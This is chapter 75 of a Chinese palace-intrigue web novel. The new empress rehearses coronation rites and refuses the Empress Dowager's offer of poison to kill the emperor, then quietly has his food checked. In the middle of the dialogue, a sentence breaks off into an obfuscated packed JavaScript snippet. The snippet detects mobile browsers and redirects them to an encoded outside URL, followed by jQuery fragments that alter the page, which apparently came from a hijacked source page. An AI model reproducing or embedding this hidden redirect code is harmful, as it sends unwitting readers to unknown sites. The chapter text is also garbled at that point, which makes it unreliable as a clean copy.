75. 第 75 章

作品:《被迫与宿敌奉旨成婚后

    芙蓉殿预备翻修,我只好住在拾翠殿和孟采瑶每日一起照顾钰儿打发时间,闲暇时翻着花样做些幼儿爱吃的吃食,彼此其乐融融,相处得十分融洽。


    没过几天崔尚仪来了,我只能放下手头的事和她学封后大典当日的礼仪。


    崔尚仪带着几位女官候在拾翠殿正殿,自从我搬过来孟采瑶就把正殿给我住了,此时宫娥端着茶水果子和擦脸的汗巾侍立在侧,我要水喝要点心吃立马会有人递上来。


    我看着崔尚仪示范大典的流程,殿里虽供着冰,但礼仪累人,她还是出了好多汗。要不是我现在是皇后必须端庄大方,不然我真想拉着她一起偷懒,尝尝刚做好的酥山和冰镇葡萄。


    这次崔尚仪可比上回教我时谨慎许多,说话言辞更加妥帖,在我面前步步小心,她拱手行礼,姿势完美挑不出任何错来:“皇后娘娘,方才微臣所示乃封后大典上您要做的所有礼仪,还请娘娘跟着微臣做一遍。”


    她可真是尽忠职守,我做了一遍后她又道:“请皇后娘娘独自再做一遍,才能确保当日万无一失。”


    沁馨在旁看我面不改色忍了又忍,她可快要憋不住笑了。


    封后大典那天所有皇室成员都要参加,百官也要观礼,不止如此,周边小国还会派出使臣来庆贺,西凉使臣更是座上宾,他们的公主做了中原皇帝的皇后,他们自然比别人都骄傲些。


    我要是在那天出一点岔子,底下几千只几万只眼睛都看着,我恐怕要被人笑掉大牙,我深知这不是敷衍过去就行的事,老老实实又做了一遍。


    大典从早到晚礼仪繁琐,待我做完已汗流浃背,崔尚仪看我双目无神两眼鳏鳏,恭维了我两句有皇后风范的话就赶紧退下让我休息。


    沁馨早让人备好热水给我沐浴,直到我泡进热水洗去一身汗渍,才稍稍松快点。


    我闭目养神,嘴里哼哼着不成曲的小调,豆蔻拎了一桶热水进来添上,在我耳边小声道:“娘娘,太后派人来传话,她想见您一面。”


    “见我?”我睁开眼睛,“传话的人有没有说具体是什么事。”


    豆蔻道:“没有,来的是太后身边的赵内管,只说要您务必去一趟。”


    我看看摆在旁边还没动的冰镇果子,深知自己是来不及吃了,随手拿过手巾擦了擦脸爬出浴桶,沁馨和豆蔻立刻用一条大浴巾把我裹起来,给我更衣梳妆。


    我摸摸肩上的疤,上次被太后掳走我还心有余悸,这次我哪还敢单枪匹马去富康宫,我道:“去把陆将军叫过来。”


    皇后出行的仪架太过显眼,更何况我还是去的太后宫里,有陆越在我可以少带点宫人。


    福康宫一如既往地安静,太后正坐着看经文,她缓缓抬起头,目光有意无意往殿外看去,她笑了笑:“皇后的戒心也太重了,来姑母宫里还要带羽林将军。”


    我端坐在她面前,皮笑肉不笑:“一朝被蛇咬十年怕井绳,侄女险些死在姑母手里,怎么能不害怕呢?”


    太后面色平静如水,没有半点做过亏心事被受害者质问而慌乱的模样,好像半年前要置我于死地的人不是她,用锋刃插进我的心口的人也不是她。


    她合上手中的经书,缓缓道:“这本‘太上往生救苦妙经’还是你为王妃时为哀家抄的,你的字不算秀气飘逸,唯一可夸的是字迹端正大方,看着不伤眼睛,这经文哀家有三本,却只爱看你抄的这本。”


    我扫一眼桌上,果然是我手抄的那本,我小字写的不好又没耐心,为着偷懒就写了一寸大小的字,算作孝敬和王府的礼物一同送过来的。


    “太后叫儿臣过来,不会是专门与儿臣回忆往昔的吧。”我道,“封后大典在即,儿臣要过目的事不少,太后若无事,儿臣先退下了,改日再来向太后请安。”


    我正要起身,太后冷笑开口:“皇后的性子是越来越急了。”


    她道:“哀家听说你和皇帝隔几日就闹一场,在行宫他把你扔进水里,还差点让你老死行宫回不了上京,怎么看都不像是一对神仙眷侣,现在他却要封你为后。哀家老了,看不透你们年轻人的小把戏,所以想问问皇后,你对皇帝有几分真心。”


    我故作不解,疑惑道:“难道太后是要替陛下把把关,看看儿臣眼里是富贵尊容多些还是陛下多些?”我低头笑得柔顺至极:“儿臣自然是全心全意对陛下。”


    太后宫里常年有檀香的气味,这味道我说不上喜欢,分明是让人安神的香气,此刻我的大脑却异常紧绷。


    尤其是福康宫素净到有些沉闷的布置,更让我浑身不适。


    太后清脆的笑声打破一片安静,她像是听到笑话般“哎呀”几句,用手帕半掩着嘴看我,从前她是很美的女子,哪怕年近五十也极有风韵,说起来我所见过的宋家人无论男女,容貌皆不逊于旁人。


    想必沈璋去世后她备受打击,雍容华贵的气度没有改变,但鬓角隐隐的白发和眼角的皱纹能看出这一年她老得多快。


    她笑得眼里溢出几分泪光,指着我道:“哀家前些日子得了消息,说你曾嫁过一西凉男人,结果被皇帝发现后绑回了上京,这事不错吧?”


    刚听她说完前两句时我几乎要坐不住,还以为她知道了李长季的存在,待话听完后又稳稳坐好,从容不迫。


    李长季不是他的真名,他为避追杀留姓改名,至于他以前叫什么,我不知道,也没想过问。


    我道:“太后真是耳聪目明。”


    可惜也没那么明。


    “都逼到那份上了,你要说对皇帝是真心…”太后道,“怕也是三分真心七分假,不过就是想要有个依靠才装听话,你跟他这么久都没有孩子,看着也不像个能生的,一个没有子嗣的皇后,早晚会被废黜,比庶人还不如。”


    我冷冷道:“太后娘娘到底想干什么?”


    太后眼中精光一转,低声道:“不如你我联手。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085757|159659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “如何联手?”


    “趁他对你还有新鲜劲,好好哄着他。”太后从广袖中取出一包药,“只需个把月,皇帝就能神不知鬼不觉去见阎王…”


    我打断她的话:“对我有何好处?”


    “皇帝驾崩你为太后,可从宗室过继嗣子为幼帝,你若想留在宫中垂帘听政也行,若是不愿哀家放你出宫,你爱去哪儿去哪儿。”


    “对你有何好处?”


    太后道:“为我璋儿报仇而已。”


    一口气屏在嗓子眼里不上不下,我没有生育过,也知母亲爱子之心,这也成了太后的心魔始终让她耿耿于怀,万般执拗。


    我深吸一口气:“要是被陛下发现,我必死无疑,这太险了。”


    我不是没想过要杀沈业,可我一个弱女子又能如何,他若暴毙天下骤乱贼寇四起,百姓又该如何。


    幼时的日子使我深知天下太平有多重要,我没有雄心大略,也担不起这个责任。


    太后道:“你是他喜欢的人,他不会疑你。”


    福康宫闷热,我衣领背后起了一层汗让我怎么都坐不住,我也不想待在这里,只道:“念在姑母往日照拂,我不会把今日的事告诉陛下,先告辞了。”


    太后没有留我,出殿门时我能感受到她紧紧跟随的目光,像无数根细小的刺扎在我背上,我尽力挺直了背,让自己看上去更像皇后。


    今天天气很热,这样的毒日头艳阳天除了傍晚黄昏我是不会出门的,可今天不一样,在太后宫里待了不到两刻钟就让我汗流浃背紧张异常,直到踏出福康宫的宫门呼吸到外面的空气时我真是觉得今天一点都不热。


    等回了芙蓉殿躺在软榻上,我开始感谢沈业给我的是什么好地方。


    再次沐浴后我又叫了陆越进来,他大概没想到我刚沐浴完在梳头,尽管有纱幔遮挡还是涨红了脸,低头等我吩咐。


    我自小在村里长大,乡下人没那么多顾忌梳头也不怕人看,只有有钱的大户人家才会防这防那生怕姑娘被人羞了去,但我如今是皇后不再是乡下丫头,于是我让陆越转过去背对我,听我说话。


    陆越又期期艾艾不肯,说臣下不可背对主子,这是大不敬。


    我悄无声息朝他翻了个白眼,随手用一根簪子挽起长发算是梳头结束,越过纱幔坐在窗边,斟酌着开口:“你去告诉徐将军,这些日子多留心陛下身边的人和事,无论是内监宫娥还是嫔妃,以及日常所用饭食点心,茶水果子,都要仔细验过才行。”


    陆越踌躇道:“皇后娘娘可是发现什么异常,这话平白无故传过去,难免让人摸不着头脑,宫人差事也不好当。”


    我倒没想过这层,不得不换了种说法:“就说天气热我贪凉不忌口吃坏了肚子,请徐将军和朱总管留心陛下身体,每日饮食务必仔细,莫要病从口入。”


    陆越觉得还是这个理由更好,拱手退下往延英殿去了。